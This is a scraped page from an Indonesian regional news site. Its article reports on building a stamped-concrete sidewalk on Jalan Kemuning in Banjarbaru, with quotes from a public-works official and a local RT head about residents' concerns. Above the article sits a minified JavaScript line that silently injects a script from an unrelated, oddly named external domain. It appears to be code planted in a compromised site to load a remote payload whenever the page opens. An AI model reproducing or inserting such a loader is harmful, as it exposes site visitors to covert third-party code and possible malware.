(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar untuk penataan kawasan Jalan Kemuning Kecamatan Banjarbaru Selatan, Kota Banjarbaru mulai memasuki masa pengerjaan lapangan.
Pantauan Kanalkalimantan.com, pengerjaan pembongkaran jalan lebih dulu dilakukan pada ruas sebelah kiri dari arah Jalan Ahmad Yani atau sebelah barat masuk wilayah Kelurahan Guntung Paikat.
“Kita mulai pengerjaan kalau dari Jalan Ahmad Yani itu sebelah kiri, dan di stasiun yang paling belakang atau stasiun 465,” ujar Kepala Bidang (Kabid) Bina Marga DPUPR Banjarbaru, Adi Maulana.
Baca juga: Besok, Kloter 1 Jemaah Haji Tiba di Debarkasi Banjarmasin
Pembongkaran awal dilakukan pada pinggir jalan yang nantinya akan diisi dengan gorong-gorong beton bertulang.
Konsep finishing pada lantai trotoar disebutkan akan berbeda dengan trotoar yang ada di ruas Jalan Panglima Batur yang menggunakan batu alam andesit.
“Sedangkan untuk di Kemuning ini kita menggunakan beton stamp, dimana beton stamp itu pada saat pengecoran betonnya itu sudah mendekati keras, maka akan diberi cap dan diberi warna,” terang Adi Maulana.
Menurut Adi, jenis beton stamp meski harga yang terjangkau namun kekuatannya cukup baik dengan tidak harus mengeluarkan biaya yang lebih besar untuk perawatan.
Baca juga: Satpol PP HSU Bongkar Bangunan di Jalan Bypass Panangkalaan-Bayur
“Kemudian kami melihat juga aktivitas masyarakat di sini tinggi menggunakan kendaraan untuk jual beli, dan wilayah banyak dilewati kendaraan berlalu lintas keluar masuk ke pertokoan di Kemuning, sehingga cocok jika dipilih beton stamp,” jelasnya.
Mengingat banyak pertokoan di ruas Jalan Kemuning itu, maka kata dia, warga sepakat untuk tidak menata trotoar tersebut dnegan kursi-kursi seperti di Jalan Panglima Batur.
“Sementara dari kesepatakan kami dengan warga tidak akan ada kursi-kursi karena warga juga akan memanfaatkan sebagian trotoar ini untuk berselisihan atau misal sekadar berbelanja parkir sebentar,” tuntasnya.
Sementara itu, Ketua RT 03 RW 01 Kelurahan Guntung Paikat, Arif Maulana mengatakan pembangunan sampai saat ini berjalan dengan lancar. Ketua RT mengaku tidak ada protes dari warga, baik pengguna jalan maupun pemilik rumah yang halamannya terdampak pembangunan.
Baca juga: 80 Mobil Garuk Tanah Jajal Trek Jack’s Overland #2 Banjarbaru-Kiram
“Masih aman saja masih lancar, tidak ada warga yang protes,” ujar Arif Maulana kepada Kanalkalimantan.com.
Arif menjelaskan bahwa dalam rapat bersama beberapa pihak terkait, warga sempat menyampaikan penolakan karena trotoar itu sebelumnya dirancang dengan ukuran yang lebih tinggi.
“Kemudian warga menganggap itu akan menambah macet jalan, karena banyak pedagang, juga orang yang singgah, sehingga susah menggunakan bahu jalan kalau trotoarnya tinggi,” jelas dia.
“Tapi kemudian dari usulan itu, trotoar jadi dibuat lebih rendah dan landai, sehingga akhirnya warga setuju,” sambungnya.
Baca juga: Pataka Dipindahkan, Polda Kalsel Resmi Bermarkas di Banjarbaru
Di sisi lain dia berharap dengan dibangu trotoar ini dapat mengatasi kemacetan yang setiap hari terjadi di ruas Jalan Kemuning.(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
This website uses cookies.